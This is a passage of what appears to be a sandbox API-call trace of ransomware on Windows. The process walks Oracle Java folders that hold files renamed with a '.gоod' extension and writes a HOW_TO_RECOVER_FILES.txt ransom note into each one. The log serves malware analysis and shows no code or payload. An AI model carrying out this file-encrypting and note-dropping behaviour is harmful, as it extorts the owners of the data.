lpFilePart=0x0) returned 0x48 [0152.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0152.373] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0152.374] GetFileType (hFile=0x7dc) returned 0x1 [0152.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0152.374] GetFileType (hFile=0x7dc) returned 0x1 [0152.374] WriteFile (in: hFile=0x7dc, lpBuffer=0x38b2130*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x38b2130*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0152.375] CloseHandle (hObject=0x7dc) returned 1 [0152.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0152.376] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x27 [0152.376] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.376] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.376] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x400385bf, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x411f408e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.376] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3f6f7a6f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe.gоod", cAlternateFileName="JAVAEX~1.GOD")) returned 1 [0152.376] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3ff2d602, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe.gоod", cAlternateFileName="JAVAWE~1.GOD")) returned 1 [0152.376] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e050, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe.gоod", cAlternateFileName="JAVAWS~1.GOD")) returned 1 [0152.377] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.377] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0152.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0152.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0152.377] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x27 [0152.377] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.377] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.377] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x400385bf, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x411f408e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.378] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3f6f7a6f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe.gоod", cAlternateFileName="JAVAEX~1.GOD")) returned 1 [0152.378] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3ff2d602, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe.gоod", cAlternateFileName="JAVAWE~1.GOD")) returned 1 [0152.378] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e050, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe.gоod", cAlternateFileName="JAVAWS~1.GOD")) returned 1 [0152.378] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e050, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe.gоod", cAlternateFileName="JAVAWS~1.GOD")) returned 0 [0152.378] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0152.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0152.379] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\javapath\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x40 [0152.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0152.379] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0152.380] GetFileType (hFile=0x7dc) returned 0x1 [0152.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0152.380] GetFileType (hFile=0x7dc) returned 0x1 [0152.380] WriteFile (in: hFile=0x7dc, lpBuffer=0x38c4050*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x38c4050*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0152.389] CloseHandle (hObject=0x7dc) returned 1 [0152.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0152.390] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984", lpFilePart=0x0) returned 0x35 [0152.390] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.390] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.390] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x400385bf, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x570a54de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.390] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3f6f7a6f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe.gоod", cAlternateFileName="JAVAEX~1.GOD")) returned 1 [0152.391] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3ff2d602, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe.gоod", cAlternateFileName="JAVAWE~1.GOD")) returned 1 [0152.391] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e050, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe.gоod", cAlternateFileName="JAVAWS~1.GOD")) returned 1 [0152.391] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0152.391] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0152.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0152.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0152.391] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984", lpFilePart=0x0) returned 0x35 [0152.391] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.392] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.392] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x400385bf, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x400385bf, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x570a54de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0152.392] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3f6f7a6f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe.gоod", cAlternateFileName="JAVAEX~1.GOD")) returned 1 [0152.392] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3ff2d602, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32850, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe.gоod", cAlternateFileName="JAVAWE~1.GOD")) returned 1 [0152.392] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e050, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe.gоod", cAlternateFileName="JAVAWS~1.GOD")) returned 1 [0152.392] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x400385bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e050, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe.gоod", cAlternateFileName="JAVAWS~1.GOD")) returned 0 [0152.393] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0152.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0152.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0152.393] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4e [0152.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0152.393] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0152.394] GetFileType (hFile=0x7dc) returned 0x1 [0152.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0152.394] GetFileType (hFile=0x7dc) returned 0x1 [0152.395] WriteFile (in: hFile=0x7dc, lpBuffer=0x38d6398*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x38d6398*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0152.395] CloseHandle (hObject=0x7dc) returned 1 [0152.396] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x37 [0152.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0152.396] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\oracle\\java\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0152.396] GetFileType (hFile=0x7dc) returned 0x1 [0152.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0152.397] GetFileType (hFile=0x7dc) returned 0x1 [0152.397] WriteFile (in: hFile=0x7dc, lpBuffer=0x38d9bc0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x38d9bc0*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0152.398] CloseHandle (hObject=0x7dc) returned 1 [0152.398] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ede20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x32 [0152.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee340) returned 1 [0152.398] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\oracle\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0152.399] GetFileType (hFile=0x7dc) returned 0x1 [0152.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee2b0) returned 1 [0152.399] GetFileType (hFile=0x7dc) returned 0x1 [0152.400] WriteFile (in: hFile=0x7dc, lpBuffer=0x38dd3d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ee408, lpOverlapped=0x0 | out: lpBuffer=0x38dd3d8*, lpNumberOfBytesWritten=0x202ee408*=0x5d0, lpOverlapped=0x0) returned 1 [0152.401] CloseHandle (hObject=0x7dc) returned 1 [0152.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee3d0) returned 1 [0152.401] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc", nBufferLength=0x105, lpBuffer=0x202ede70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc", lpFilePart=0x0) returned 0x24 [0152.401] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*", lpFindFileData=0x202ee0f0 | out: lpFindFileData=0x202ee0f0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33faab8a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0152.402] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33faab8a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.402] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ee0b0 | out: lpFindFileData=0x202ee0b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, 